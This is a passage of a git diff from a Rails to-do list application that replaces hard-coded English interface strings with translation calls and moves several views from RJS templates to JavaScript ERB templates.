t('stats.labels.completed') %>,8& &values=<% 0.upto 22 do |i| -%> <%=@actions_creation_hour_array[i] -%>, diff --git a/app/views/stats/actions_visible_running_time_data.html.erb b/app/views/stats/actions_visible_running_time_data.html.erb index 09d7035d..c4c70505 100755 --- a/app/views/stats/actions_visible_running_time_data.html.erb +++ b/app/views/stats/actions_visible_running_time_data.html.erb @@ -1,7 +1,7 @@ -&title=Current running time of incomplete visible actions,{font-size:16},& -&y_legend=Actions,10,0x736AFF& -&y2_legend=Percentage,10,0xFF0000& -&x_legend=Running time of an action (weeks). Click on a bar for more info,11,0x736AFF& +&title=<%= t('stats.current_running_time_of_incomplete_visible_actions') %>,{font-size:16},& +&y_legend=<%= t('stats.running_time_legend.actions') %>,10,0x736AFF& +&y2_legend=<%= t('stats.running_time_legend.percentage') %>,10,0xFF0000& +&x_legend=<%= t('stats.running_time_legend.weeks') %>,11,0x736AFF& &y_ticks=5,10,5& &filled_bar=50,0x9933CC,0x8010A0& &values= diff --git a/app/views/stats/context_running_actions_data.html.erb b/app/views/stats/context_running_actions_data.html.erb index 4ee6b264..c856b71c 100755 --- a/app/views/stats/context_running_actions_data.html.erb +++ b/app/views/stats/context_running_actions_data.html.erb @@ -1,4 +1,4 @@ -&title=Spread of running actions for visible contexts,{font-size:16}& +&title=<%= t('stats.spread_of_running_actions_for_visible_contexts') %>,{font-size:16}& &pie=60,#505050,{font-size: 12px; color: #404040;}& &x_axis_steps=1& &y_ticks=5,10,5& &line=3,#87421F& &y_min=0& &y_max=20& &values=<% diff --git a/app/views/stats/context_total_actions_data.html.erb b/app/views/stats/context_total_actions_data.html.erb index 7c32e491..4f9c7679 100755 --- a/app/views/stats/context_total_actions_data.html.erb +++ b/app/views/stats/context_total_actions_data.html.erb @@ -1,4 +1,4 @@ -&title=Spread of actions for all context,{font-size:16}& +&title=<%= t('stats.spread_of_actions_for_all_context') %>,{font-size:16}& &pie=70,#505050,{font-size: 12px; color: #404040;}& &x_axis_steps=1& &y_ticks=5,10,5& &line=3,#87421F& &y_min=0& &y_max=20& &values=<% diff --git a/app/views/stats/index.html.erb b/app/views/stats/index.html.erb index 7e3e9aa8..46073cd9 100755 --- a/app/views/stats/index.html.erb +++ b/app/views/stats/index.html.erb @@ -1,29 +1,29 @@

    -

    Totals

    +

    <%= t('stats.totals') %>

    <%= render :partial => 'totals' -%> <% unless @actions.empty? -%> -

    Actions

    +

    <%= t('stats.actions') %>

    <%= render :partial => 'actions' -%> -

    Contexts

    +

    <%= t('stats.contexts') %>

    <%= render :partial => 'contexts' -%> -

    Projects

    +

    <%= t('stats.projects') %>

    <%= render :partial => 'projects' -%> -

    Tags

    +

    <%= t('stats.tags') %>

    <%= render :partial => 'tags' -%> <% else -%> -

    More statistics will appear here once you have added some actions.

    +

    <%= t('stats.more_stats_will_appear') %>

    <% end -%> diff --git a/app/views/stats/show_selection_from_chart.html.erb b/app/views/stats/show_selection_from_chart.html.erb index 3da85a4c..28c13b18 100644 --- a/app/views/stats/show_selection_from_chart.html.erb +++ b/app/views/stats/show_selection_from_chart.html.erb @@ -1,17 +1,15 @@ <%= render :partial => 'chart', :locals => {:width => @chart_width, :height => @chart_height, :data => url_for(:action => @chart_name)} -%>
    -

    Click on a bar in the chart to update the actions below. Click <%=link_to "here", {:controller => "stats", :action => "index"} %> to return to the statistics page. <% - unless @further -%> <%= - "Click " + - link_to("here", {:controller => "stats", :action => "show_selected_actions_from_chart", :id=>"#{params[:id]}_end", :index => params[:index]})+ - " to show the actions from week " + params[:index] + " and further." -%> +

    <%= t('stats.click_to_update_actions') %> <%= t('stats.click_to_return', :link => link_to(t('stats.click_to_return_link'), {:controller => "stats", :action => "index"})) %> <% + unless @further -%> <%= + t('stats.click_to_show_actions_from_week', :link => link_to("here", {:controller => "stats", :action => "show_selected_actions_from_chart", :id=>"#{params[:id]}_end", :index => params[:index]}), :week => params[:index]) -%> <% end %>


    <%= @page_title -%>

    -

    There are no actions selected

    +

    <%= t('stats.no_actions_selected') %>

    <%= render :partial => "todos/todo", :collection => @selected_actions, :locals => { :parent_container_type => 'stats' } %>
    diff --git a/app/views/todos/_completed.rhtml b/app/views/todos/_completed.rhtml index 60b864e0..fc4769b4 100644 --- a/app/views/todos/_completed.rhtml +++ b/app/views/todos/_completed.rhtml @@ -7,14 +7,14 @@ <% if collapsible %> <%= image_tag("collapse.png") %> <% end %> - Completed actions <%= suffix %> + <%= t('todos.completed_actions') %> <%= suffix %>
    -
    -

    Currently there are no completed actions.

    +
    +

    <%= t('todos.no_completed_actions') %>

    - <%= render :partial => "todos/todo", :collection => done, :locals => { :parent_container_type => "completed", :suppress_context => suppress_context, :suppress_project => suppress_project } %> + <%= render :partial => "todos/todo", :collection => completed, :locals => { :parent_container_type => "completed", :suppress_context => suppress_context, :suppress_project => suppress_project } %>
    \ No newline at end of file diff --git a/app/views/todos/_deferred.rhtml b/app/views/todos/_deferred.rhtml index c38e1561..fa060e64 100644 --- a/app/views/todos/_deferred.rhtml +++ b/app/views/todos/_deferred.rhtml @@ -3,12 +3,12 @@ <% if collapsible %> <%= image_tag("collapse.png") %> <% end %> - Deferred/pending actions <%= append_descriptor ? append_descriptor : '' %> + <%= t('todos.deferred_pending_actions') %> <%= append_descriptor ? append_descriptor : '' %>
    -

    Currently there are no deferred or pending actions

    +

    <%= t('todos.no_deferred_pending_actions') %>

    <%= render :partial => "todos/todo", :collection => deferred, :locals => { :parent_container_type => parent_container_type } %> diff --git a/app/views/todos/_done.rhtml b/app/views/todos/_done.rhtml index 3c28bbf7..ef6e293d 100644 --- a/app/views/todos/_done.rhtml +++ b/app/views/todos/_done.rhtml @@ -1,22 +1,20 @@ -<% if done.completed_at %> - <%= image_tag( "done.png", :width=>"16", :height=>"16", :border=>"0") %> - <%= format_date( done.completed_at ) %> - <%= " " + sanitize(done.description) + " "%> + <% if done.completed_at %> + <%= image_tag( "done.png", :width=>"16", :height=>"16", :border=>"0") %> + <%= format_date( done.completed_at ) %> + <%= " " + sanitize(done.description) + " "%> - <% if done.project_id %> - <%= "(" + done.context['name'] + ", " + done.project['name'] + ")" %> - <% else %> - <%= "(" + done.context['name'] + ")" %> + <% if done.project_id %> + <%= "(" + done.context['name'] + ", " + done.project['name'] + ")" %> + <% else %> + <%= "(" + done.context['name'] + ")" %> + <% end %> + + <% if done.due %> + <%= " - " + t('todos.was_due_on_date', :date => format_date( done.due )) %> + <% end %> + + <%= collapsed_notes_image(done) if done.notes? %> + <% end %> - - <% if done.due %> - <%= " - was due on " + format_date( done.due ) %> - <% end %> - - <% if done.notes? -%> - <%= render :partial => "todos/toggle_notes", :locals => { :item => done } %> - <% end -%> - -<% end %> diff --git a/app/views/todos/_edit_form.rhtml b/app/views/todos/_edit_form.rhtml index 36624487..89d71ea7 100644 --- a/app/views/todos/_edit_form.rhtml +++ b/app/views/todos/_edit_form.rhtml @@ -1,60 +1,61 @@ -
    <%= error_messages_for("todo", :object_name => 'action') %>
    +<% +todo = edit_form +form_for(todo, :html=> { :name=>'todo', :id => dom_id(@todo, 'form'), :class => 'inline-form edit_todo_form' }) do |t|%> +
    <%= error_messages_for("todo", :object_name => 'action') %>
    -<%= hidden_field( "todo", "id" ) -%> -<%= source_view_tag( @source_view ) -%> -<%= "" unless @tag_name.nil? -%> + <%= t.hidden_field( "id" ) -%> + <%= source_view_tag( @source_view ) -%> + <%= content_tag(:input, "", :type=>"hidden", :name=>"_tag_name", :value=>"#{@tag_name}") if @tag_name -%> - -<%= text_field( "todo", "description", "size" => 30, "tabindex" => 8, "maxlength" => 100) %> + + <%= t.text_field( "description", "size" => 30, "tabindex" => 8, "maxlength" => 100) %> - -<%= text_area( "todo", "notes", "cols" => 29, "rows" => 4, "tabindex" => 9) %> + + <%= t.text_area( "notes", "cols" => 29, "rows" => 4, "tabindex" => 9) %> -
    - - " /> -
    +
    + + " /> +
    -
    - - -
    +
    + + +
    - -<%= text_field_tag 'tag_list', tag_list_text, :id => dom_id(@todo, 'tag_list'), :size => 30, :tabindex => 12 %> + + <%= text_field_tag 'tag_list', tag_list_text, :id => dom_id(@todo, 'tag_list'), :size => 30, :tabindex => 12 %> -
    - - <%= date_field_tag("todo[due]", dom_id(@todo, 'due'), format_date(@todo.due), "tabindex" => 13) %> - - <%= image_tag("delete_off.png", :alt => "Clear due date") %> - -
    - -
    - - <%= date_field_tag("todo[show_from]", dom_id(@todo, 'show_from'), format_date(@todo.show_from), "tabindex" => 14) %> - - <%= image_tag("delete_off.png", :alt => "Clear show from date") %> - -
    - - -<%= text_field_tag 'predecessor_list', predecessor_list_text, :id => dom_id(@todo, 'predecessor_list'), :size => 30, :tabindex => 15 %> - -<% if controller.controller_name == "project" || @todo.deferred? -%> - -<% end -%> - -
    - + +
    + + <%= date_field_tag("todo[show_from]", dom_id(@todo, 'show_from'), format_date(@todo.show_from), "tabindex" => 14) %> + + <%= image_tag("delete_off.png", :alt => "Clear show from date") %> + +
    + + + <%= text_field_tag 'predecessor_list', predecessor_list_text, :id => dom_id(@todo, 'predecessor_list'), :size => 30, :tabindex => 15 %> + +
    +
    + + + <%=image_tag("cancel.png", :alt => "") %> + Cancel + +
    +
    + +<% end %> diff --git a/app/views/todos/_edit_mobile.rhtml b/app/views/todos/_edit_mobile.rhtml index 712ecaa0..fb89e382 100644 --- a/app/views/todos/_edit_mobile.rhtml +++ b/app/views/todos/_edit_mobile.rhtml @@ -5,13 +5,13 @@ <% this_year = current_user.time.to_date.strftime("%Y").to_i if parent_container_type == 'show_mobile' -%> -

     <%= check_box_tag("done", 1, @todo && @todo.completed?, "tabindex" => 1) %>

    +

     <%= check_box_tag("done", 1, @todo && @todo.completed?, "tabindex" => 1) %>

    <% end -%> -

    +

    <%= text_field( "todo", "description", "tabindex" => 2, "maxlength" => 100, "size" => 50) %> -

    +

    <%= text_area( "todo", "notes", "cols" => 40, "rows" => 3, "tabindex" => 3) %> -

    +

    <%= unless @mobile_from_context collection_select( "todo", "context_id", @contexts, "id", "name", {}, {"tabindex" => 4} ) else @@ -19,10 +19,10 @@ else @contexts, "id", "name", @mobile_from_context.id), {"id" => :todo_context_id, :tabindex => 4} ) end %> -

    +

    <%= unless @mobile_from_project collection_select( "todo", "project_id", @projects, "id", "name", - {:include_blank => '--No project--'}, {"tabindex" => 5} ) + {:include_blank => t('todos.no_project')}, {"tabindex" => 5} ) else # manually add blank option since :include_blank does not work # with options_from_collection_for_select @@ -30,11 +30,11 @@ else @projects, "id", "name", @mobile_from_project.id), {"id" => :todo_project_id, :tabindex => 5} ) end %> -

    +

    <%= text_field_tag "tag_list", @tag_list_text, :size => 50, :tabindex => 6 %> -

    +

    <%= date_select("todo", "due", {:order => [:day, :month, :year], :start_year => this_year, :include_blank => '--'}, :tabindex => 7) %> -

    +

    <%= date_select("todo", "show_from", {:order => [:day, :month, :year], :start_year => this_year, :include_blank => true}, :tabindex => 8) %> diff --git a/app/views/todos/_hidden.rhtml b/app/views/todos/_hidden.rhtml index 21f7b013..cedfb298 100644 --- a/app/views/todos/_hidden.rhtml +++ b/app/views/todos/_hidden.rhtml @@ -3,12 +3,12 @@ <% if collapsible %> <%= image_tag("collapse.png") %> <% end %> - Hidden actions <%= append_descriptor ? append_descriptor : '' %> + <%= t('todos.hidden_actions') %> <%= append_descriptor ? append_descriptor : '' %>
    -

    Currently there are no hidden actions found

    +

    <%= t('todos.no_hidden_actions') %>

    <%= render :partial => "todos/todo", :collection => hidden, :locals => { :parent_container_type => 'tag' } %> diff --git a/app/views/todos/_mobile_actions.rhtml b/app/views/todos/_mobile_actions.rhtml index 861a981e..623c8040 100644 --- a/app/views/todos/_mobile_actions.rhtml +++ b/app/views/todos/_mobile_actions.rhtml @@ -1,5 +1,5 @@ <% if @not_done_todos.empty? -%> -

    There are no incomplete actions

    +

    <%= t('todos.no_incomplete_actions') %>

    <% else -%> <%= render :partial => "contexts/mobile_context", :collection => @contexts_to_show -%> <% end -%> \ No newline at end of file diff --git a/app/views/todos/_new_multi_todo_form.rhtml b/app/views/todos/_new_multi_todo_form.rhtml new file mode 100644 index 00000000..8a7f901c --- /dev/null +++ b/app/views/todos/_new_multi_todo_form.rhtml @@ -0,0 +1,35 @@ +<%- todo = new_multi_todo_form -%> + + diff --git a/app/views/todos/_new_todo_form.rhtml b/app/views/todos/_new_todo_form.rhtml new file mode 100644 index 00000000..1c1af12d --- /dev/null +++ b/app/views/todos/_new_todo_form.rhtml @@ -0,0 +1,51 @@ +<%- todo = new_todo_form -%> + +
    + <% form_for(todo, :html=> { :id=>'todo-form-new-action', :name=>'todo', :class => 'inline-form' }) do |t|%> + + + +
    <%= error_messages_for("item", :object_name => 'action') %>
    + + + <%= t.text_field("description", "size" => 30, "tabindex" => 1, "maxlength" => 100, "autocomplete" => "off", :autofocus => 1) %> + + + <%= t.text_area("notes", "cols" => 29, "rows" => 6, "tabindex" => 2) %> + + + + + + + + + + <%= text_field_tag "tag_list", @default_tags, :size => 30, :tabindex => 5 %> + <%= content_tag("div", "", :id => "tag_list_auto_complete", :class => "auto_complete") %> + +
    + + <%= t.text_field("due", "size" => 12, "class" => "Date", "tabindex" => 6, "autocomplete" => "off") %> +
    + +
    + + <%= t.text_field("show_from", "size" => 12, "class" => "Date", "tabindex" => 7, "autocomplete" => "off") %> +
    + + + <%= text_field_tag "predecessor_list", nil, :size => 30, :tabindex => 8 %> + <%= source_view_tag( @source_view ) %> + <%= hidden_field_tag :_tag_name, @tag_name.underscore.gsub(/\s+/,'_') if source_view_is :tag %> + +
    +
    + +
    +
    + + <% end # form_for -%> +
    \ No newline at end of file diff --git a/app/views/todos/_successor.html.erb b/app/views/todos/_successor.html.erb index 83f1fc54..a82fad19 100644 --- a/app/views/todos/_successor.html.erb +++ b/app/views/todos/_successor.html.erb @@ -10,16 +10,28 @@ parameters += "&_tag_name=#{@tag_name}" if @source_view == 'tag'
    <%= h sanitize(successor.description) %> - - <%= link_to_remote( - image_tag("blank.png", :title => "Remove dependency (does not delete the action)", :align => "absmiddle", :class => "delete_item"), + + <%= remote_delete_dependency(successor, predecessor) %> + +<%# link_to_remote( + image_tag("blank.png", :title => t('todos.remove_dependency'), :align => "absmiddle", :class => "delete_item"), {:url => {:controller => 'todos', :action => 'remove_predecessor', :id => successor.id}, - :method => 'delete', - :with => "'#{parameters}&predecessor=#{predecessor.id}'", - :before => successor_start_waiting_js(successor)}, + :method => 'delete', + :with => "'#{parameters}&predecessor=#{predecessor.id}'", + :before => successor_start_waiting_js(successor)}, {:style => "background: transparent;"}) %> - - <%= render(:partial => "todos/toggle_successors", :locals => { :item => successor, :suppress_button => true }) unless successor.pending_successors.empty? %> + + <% unless successor.pending_successors.empty? %> +
    + <%= render :partial => "todos/successor", + :collection => successor.pending_successors, + :locals => { :todo => successor, + :parent_container_type => parent_container_type, + :suppress_dependencies => true, + :predecessor => successor } + %> +
    + <% end %>
    diff --git a/app/views/todos/_text_todo.rhtml b/app/views/todos/_text_todo.rhtml index 34939e3f..291bd60c 100644 --- a/app/views/todos/_text_todo.rhtml +++ b/app/views/todos/_text_todo.rhtml @@ -8,11 +8,11 @@ else end if (todo.completed?) && todo.completed_at - result_string << "[Completed: " + format_date(todo.completed_at) + "] " + result_string << "["+ t('todos.completed') +": " + format_date(todo.completed_at) + "] " end if todo.due - result_string << "[Due: " + format_date(todo.due) + "] " + result_string << "[" + t('todos.due') + ": " + format_date(todo.due) + "] " result_string << todo.description + " " else result_string << todo.description + " " diff --git a/app/views/todos/_todo.html.erb b/app/views/todos/_todo.html.erb index dae70ed6..052412df 100644 --- a/app/views/todos/_todo.html.erb +++ b/app/views/todos/_todo.html.erb @@ -1,5 +1,4 @@ <% -@todo = todo suppress_context ||= false suppress_project ||= false suppress_edit_button ||= todo.completed? @@ -9,40 +8,35 @@ parameters += "&_tag_name=#{@tag_name}" if @source_view == 'tag' %>
    - <%= remote_star_icon %> - <%= remote_toggle_checkbox unless source_view_is :deferred %> - <% unless suppress_edit_button %> - <%= remote_edit_button %> - <% end %> + <%= remote_star_icon(todo) %> + <%= remote_toggle_checkbox(todo) unless source_view_is :deferred %> + <%= remote_edit_button(todo) unless suppress_edit_button %>
    • <%= image_tag "downarrow.png", :alt=> "" %>
        -
      • <%= remote_delete_menu_item(parameters, todo) %>
      • - <% unless todo.completed? || todo.deferred? %> +
      • <%= remote_delete_menu_item(todo) %>
      • + <% unless todo.completed? || todo.deferred? -%>
      • <%= remote_defer_menu_item(1, todo) %>
      • <%= remote_defer_menu_item(7, todo) %>
      • - <% end %> + <% end -%>
      • <%= remote_promote_to_project_menu_item(todo) %>
    - <%= grip_span %> - <%= date_span -%> + <%= grip_span(todo) %> + <%= date_span(todo) -%> <%= h todo.description %> - <% #= successors_span %> - <%= image_tag_for_recurring_todo(todo) if @todo.from_recurring_todo? %> - <%= tag_list %> - <%= deferred_due_date %> - <%= project_and_context_links( parent_container_type, :suppress_context => suppress_context, :suppress_project => suppress_project ) %> - <%= render(:partial => "todos/toggle_notes", :locals => { :item => todo }) if todo.notes? %> - <%= render(:partial => "todos/toggle_successors", :locals => { :item => todo }) unless todo.pending_successors.empty? %> + <%= image_tag_for_recurring_todo(todo) if todo.from_recurring_todo? %> + <%= tag_list(todo) %> + <%= deferred_due_date(todo) %> + <%= project_and_context_links( todo, parent_container_type, :suppress_context => suppress_context, :suppress_project => suppress_project ) %> + <%= collapsed_notes_image(todo) if todo.notes? %> + <%= collapsed_successors_image(todo) unless todo.pending_successors.empty? %>
    -
    +
    \ No newline at end of file diff --git a/app/views/todos/_toggle_notes.rhtml b/app/views/todos/_toggle_notes.rhtml deleted file mode 100644 index bdf2488e..00000000 --- a/app/views/todos/_toggle_notes.rhtml +++ /dev/null @@ -1,5 +0,0 @@ -<%= link_to(image_tag( 'blank.png', :width=>'16', :height=>'16', :border=>'0' ), "#", {:class => 'show_notes', :title => 'Show notes'}) %> - - \ No newline at end of file diff --git a/app/views/todos/_toggle_successors.html.erb b/app/views/todos/_toggle_successors.html.erb deleted file mode 100644 index 47efc3df..00000000 --- a/app/views/todos/_toggle_successors.html.erb +++ /dev/null @@ -1,15 +0,0 @@ -<% -suppress_button ||= false -%> -<%= link_to(image_tag( 'blank.png', :width=>'16', :height=>'16', :border=>'0' ), "#", {:class => 'show_successors', :title => 'Show successors'}) unless suppress_button %> - -
    > - <%= render :partial => "todos/successor", - :collection => item.pending_successors, - :locals => { :todo => item, - :parent_container_type => parent_container_type, - :suppress_dependencies => true, - :predecessor => item } - %> -
    - diff --git a/app/views/todos/add_predecessor.js.erb b/app/views/todos/add_predecessor.js.erb new file mode 100644 index 00000000..25517fbc --- /dev/null +++ b/app/views/todos/add_predecessor.js.erb @@ -0,0 +1,45 @@ +<% if !@saved -%> + TracksPages.page_notify('error', "<%= t('todos.unable_to_add_dependency') %>", 8); +<% else -%> + remove_successor_from_page(); + replace_updated_predecessor(); + regenerate_predecessor_family(); + <%= "show_in_tickler_box();" if source_view_is_one_of :project, :tag %> + TracksPages.page_notify('notice', "<%= @status_message %>", 5); + +function remove_successor_from_page() { + <% # TODO: last todo in context --> remove context?? + -%> + $('#<%=dom_id(@todo)%>').remove(); +} + +function replace_updated_predecessor() { + $('#<%= dom_id(@predecessor) %>').html( html_for_predecessor() ); +} + +function show_in_tickler_box() { + $("#tickler-empty-nd").hide(); + $('#tickler').append( html_for_deferred_todo() ); +} + +function regenerate_predecessor_family() { +<% + parents = @predecessor.predecessors + until parents.empty? + parent = parents.pop + parents += parent.predecessors -%> + $('#<%= dom_id(parent) %>').html("<%= escape_javascript(render(:partial => parent, :locals => { :parent_container_type => parent_container_type })) %>"); +<%end +-%> +} + +function html_for_predecessor() { + return "<%= escape_javascript(render(:partial => @predecessor, :locals => { :parent_container_type => parent_container_type })) %>"; +} + +function html_for_deferred_todo() { + return "<%= escape_javascript(render(:partial => @todo, :locals => { :parent_container_type => parent_container_type })) %>"; +} + +<% end # if !@saved +%> \ No newline at end of file diff --git a/app/views/todos/add_predecessor.js.rjs b/app/views/todos/add_predecessor.js.rjs deleted file mode 100644 index 40303398..00000000 --- a/app/views/todos/add_predecessor.js.rjs +++ /dev/null @@ -1,35 +0,0 @@ -if @saved - # show update message - status_message = "Added #{@predecessor.description} as dependency." - unless @original_state == 'pending' - status_message += " #{@todo.description} set to pending" - end - # remove successor from page - page[@todo].remove - # regenerate predecessor to add arrow - page[@predecessor].replace_html :partial => 'todos/todo', :locals => { :todo => @predecessor, :parent_container_type => parent_container_type } - - # regenerate predecessor family - parents = @predecessor.predecessors - until parents.empty? - parent = parents.pop - parents += parent.predecessors - page[parent].replace_html :partial => 'todos/todo', :locals => { :todo => parent, :parent_container_type => parent_container_type } - end - - # show in tickler box in project view - if source_view_is_one_of :project, :tag - page['tickler-empty-nd'].hide - page.replace "tickler", :partial => 'todos/deferred', :locals => { :deferred => @todo.project.deferred_todos, - :collapsible => false, - :append_descriptor => "in this project", - :parent_container_type => 'project', - :pending => @todo.project.pending_todos } - end - - page << 'enable_rich_interaction();' - page.notify :notice, status_message, 5.0 -else - page.replace_html "status", content_tag("div", content_tag("h2", "Unable to add dependency"), "id" => "errorExplanation", "class" => "errorExplanation") -end - diff --git a/app/views/todos/calendar.html.erb b/app/views/todos/calendar.html.erb index 33ccae78..987b7b56 100644 --- a/app/views/todos/calendar.html.erb +++ b/app/views/todos/calendar.html.erb @@ -1,9 +1,9 @@
    -

    Due today

    +

    <%= t('todos.calendar.due_today') %>

    > - No actions due today + <%= t('todos.calendar.no_actions_due_today') %>
    <%= render :partial => "todos/todo", :collection => @due_today %> @@ -11,9 +11,9 @@
    -

    Due in rest of this week

    +

    <%= t('todos.calendar.due_this_week') %>

    > - No actions due in rest of this week + <%= t('todos.no_actions_due_this_week') %>
    <%= render :partial => "todos/todo", :collection => @due_this_week %> @@ -21,9 +21,9 @@
    -

    Due next week

    +

    <%= t('todos.calendar.due_next_week') %>

    > - No actions due in next week + <%= t('todos.calendar.no_actions_due_next_week') %>
    <%= render :partial => "todos/todo", :collection => @due_next_week %> @@ -31,9 +31,9 @@
    -

    Due in rest of <%= Time.zone.now.strftime("%B") %>

    +

    <%= t('todos.calendar.due_this_month', :month => Time.zone.now.strftime("%B")) %>

    > - No actions due in rest of this month + <%= t('todos.calendar.no_actions_due_this_month') %>
    <%= render :partial => "todos/todo", :collection => @due_this_month %> @@ -41,9 +41,9 @@
    -

    Due in <%= (Time.zone.now+1.month).strftime("%B") %> and later

    +

    <%= t('todos.calendar.due_next_month_and_later', :month => (Time.zone.now+1.month).strftime("%B")) %>

    > - No actions due after this month + <%= t('todos.calendar.no_actions_due_after_this_month') %>
    <%= render :partial => "todos/todo", :collection => @due_after_this_month %> @@ -53,5 +53,5 @@

    <%= link_to('iCal', {:format => 'ics', :token => current_user.token}, :title => "iCal feed" ) %> - - Get this calendar in iCal format

    + - <%= t('todos.calendar.get_in_ical_format') %>

    diff --git a/app/views/todos/calendar.ics.erb b/app/views/todos/calendar.ics.erb index 3751ac12..221216ea 100644 --- a/app/views/todos/calendar.ics.erb +++ b/app/views/todos/calendar.ics.erb @@ -9,7 +9,7 @@ X-WR-CALNAME:Tracks overdue_text = "" if due_date.at_midnight < Time.zone.now.at_midnight due_date = Time.zone.now - overdue_text = "Overdue: " + overdue_text = t('todos.overdue') +": " end modified = todo.updated_at || todo.created_at %>BEGIN:VEVENT diff --git a/app/views/todos/check_deferred.js.erb b/app/views/todos/check_deferred.js.erb new file mode 100644 index 00000000..ecd8bed6 --- /dev/null +++ b/app/views/todos/check_deferred.js.erb @@ -0,0 +1,3 @@ +<% unless @due_tickles.empty? -%> + TracksPages.page_notify('notice', "<%=t('todos.tickler_items_due', :count => @due_tickles.length)%>", 5); +<% end -%> diff --git a/app/views/todos/check_deferred.js.rjs b/app/views/todos/check_deferred.js.rjs deleted file mode 100644 index 38bbb98d..00000000 --- a/app/views/todos/check_deferred.js.rjs +++ /dev/null @@ -1,4 +0,0 @@ -unless @due_tickles.empty? - #TODO: why not just add the new items here in addition to notifying? - page.notify :notice, "#{@due_tickles.length} tickler items are now due - refresh the page to see them.", 5.0 -end \ No newline at end of file diff --git a/app/views/todos/completed.html.erb b/app/views/todos/completed.html.erb index 72b9eb15..40682bea 100644 --- a/app/views/todos/completed.html.erb +++ b/app/views/todos/completed.html.erb @@ -1,25 +1,25 @@
    -

    You have completed <%= pluralize @done_today.length, 'action' %> so far today.

    +

    <%= t('todos.completed_today', :count => @due_tickles.nil? ? 0 : @due_tickles.length) %>

    -

    Completed in the last 24 hours

    +

    <%= t('todos.completed_last_day') %>

    <%= render :partial => "done", :collection => @done_today %>
    -

    Completed in last 7 days

    +

    <%= t('todos.completed_last_x_days', :count => 7) %>

    <%= render :partial => "done", :collection => @done_this_week %>
    -

    Completed in the last 28 days

    +

    <%= t('todos.completed_last_x_days', :count => 28) %>

    <%= render :partial => "done", :collection => @done_this_month %>
    -

    Older completed items: <%= link_to( "Older than 31 days", done_archive_path ) %>

    +

    <%= t('todos.older_completed_items') %>: <%= link_to( t('todos.older_than_days', :count => 31), done_archive_path ) %>

    diff --git a/app/views/todos/completed_archive.html.erb b/app/views/todos/completed_archive.html.erb index 95fa8110..c3f87bba 100644 --- a/app/views/todos/completed_archive.html.erb +++ b/app/views/todos/completed_archive.html.erb @@ -1,8 +1,8 @@
    -

    There <%= @done_archive.length == 1 ? 'is' : 'are' %> <%= pluralize @done_archive.length, 'completed action' %> in the archive.

    +

    <%= t('todos.completed_in_archive', :count => @done_archive.length) %>

    -

    Completed more than 31 days ago

    +

    <%= t('todos.completed_more_than_x_days_ago', :count => 31) %>

    <%= render :partial => "done", :collection => @done_archive %>
    diff --git a/app/views/todos/create.js.erb b/app/views/todos/create.js.erb new file mode 100644 index 00000000..0e84d9a8 --- /dev/null +++ b/app/views/todos/create.js.erb @@ -0,0 +1,59 @@ +<% if @saved -%> + TracksPages.page_notify('notice', "<%=@status_message%>", 5); + TracksPages.hide_errors(); + TracksPages.set_page_badge(<%= @down_count %>); + <% if should_show_new_item -%> + <% if should_add_new_context -%> + insert_new_context_with_new_todo(); + <% else -%> + add_todo_to_existing_context(); + <% end -%> + <% end -%> + update_predecessors(); + clear_form(); +<% else -%> + TracksPages.show_errors(html_for_error_messages()); +<% end -%> + +function clear_form() { + $('#todo-form-new-action').clearForm(); + TracksForm.set_context_name('<%=@initial_context_name%>'); + TracksForm.set_project_name('<%=@initial_project_name%>'); + TracksForm.set_tag_list('<%=@default_tags%>'); + $('#todo-form-new-action input:text:first').focus(); +} + +function insert_new_context_with_new_todo() { + $('#no_todos_in_tag_view').slideUp(100); + $('#display_box').prepend(html_for_new_context()); +} + +function add_todo_to_existing_context() { + <% if source_view_is_one_of(:todo, :deferred, :tag) -%> + $('#c<%= @todo.context_id %>').fadeIn(500, function() {}); + $('#no_todos_in_tag_view').slideUp(100); + <% end -%> + $('#<%=empty_container_msg_div_id%>').hide(); + $('#<%=item_container_id(@todo)%>').append(html_for_new_todo()); + $('#<%= dom_id(@todo)%>').effect('highlight', {}, 2000 ); +} + +function update_predecessors() { + <% @todo.uncompleted_predecessors.each do |p| -%> + if ($('<%=item_container_id(p)%>')) { + $('#<%=dom_id(p)%>').html('<%= escape_javascript(render(:partial => p, :locals => { :parent_container_type => parent_container_type, :source_view => @source_view }))%>'); + } + <% end -%> +} + +function html_for_error_messages() { + return "<%= escape_javascript(error_messages_for('todo', :object_name => 'action')) %>"; +} + +function html_for_new_context() { + return "<%= @saved && @new_context_created ? escape_javascript(render(:partial => @todo.context, :locals => { :collapsible => true })) : "" %>"; +} + +function html_for_new_todo() { + return "<%= @saved ? escape_javascript(render(:partial => @todo, :locals => { :parent_container_type => parent_container_type, :source_view => @source_view })) : "" %>"; +} \ No newline at end of file diff --git a/app/views/todos/create.js.rjs b/app/views/todos/create.js.rjs deleted file mode 100644 index 597ba418..00000000 --- a/app/views/todos/create.js.rjs +++ /dev/null @@ -1,41 +0,0 @@ -if @saved - page.hide 'status' - status_message = 'Added new next action' - status_message += ' to tickler' if @todo.deferred? - status_message += ' in pending state' if @todo.pending? - status_message = 'Added new project / ' + status_message if @new_project_created - status_message = 'Added new context / ' + status_message if @new_context_created - page.notify :notice, status_message, 5.0 - page['badge_count'].replace_html @down_count - page.send :record, "$('#todo-form-new-action').clearForm();$('#todo-form-new-action input:text:first').focus();" - page['todo_context_name'].value = @initial_context_name - page['todo_project_name'].value = @initial_project_name - page['tag_list'].value = @default_tags - #page << "updateContextNamesForAutoComplete(#{context_names_for_autocomplete})" if @new_context_created - #page << "projectAutoCompleter.options.array = #{project_names_for_autocomplete}" if @new_project_created - if should_show_new_item() - if @new_context_created - page.insert_html :top, 'display_box', :partial => 'contexts/context', :locals => { :context => @todo.context, :collapsible => true } - else - page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@todo.context_id}" if source_view_is_one_of(:todo, :deferred, :tag) - page.insert_html :bottom, item_container_id(@todo), :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type, :source_view => @source_view } - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil? - end - if (source_view_is :project and @todo.pending?) or (source_view_is :deferred) - page['tickler-empty-nd'].hide # For some reason this does not work: page['tickler-empty-nd'].hide if (@todo.pending? or (source_view_is :deferred)) - end - end - # Update predecessors (if they exist and are visible) - @todo.uncompleted_predecessors.each do |p| - page << "if ($(\'#{item_container_id(p)}\')) {" - page[p].replace_html :partial => 'todos/todo', - :locals => { :todo => p, :parent_container_type => parent_container_type } - page << "}" - end - # make sure the behavior of the new/updated todo is enabled - page << "enable_rich_interaction();" -else - page.show 'status' - page.replace_html 'status', 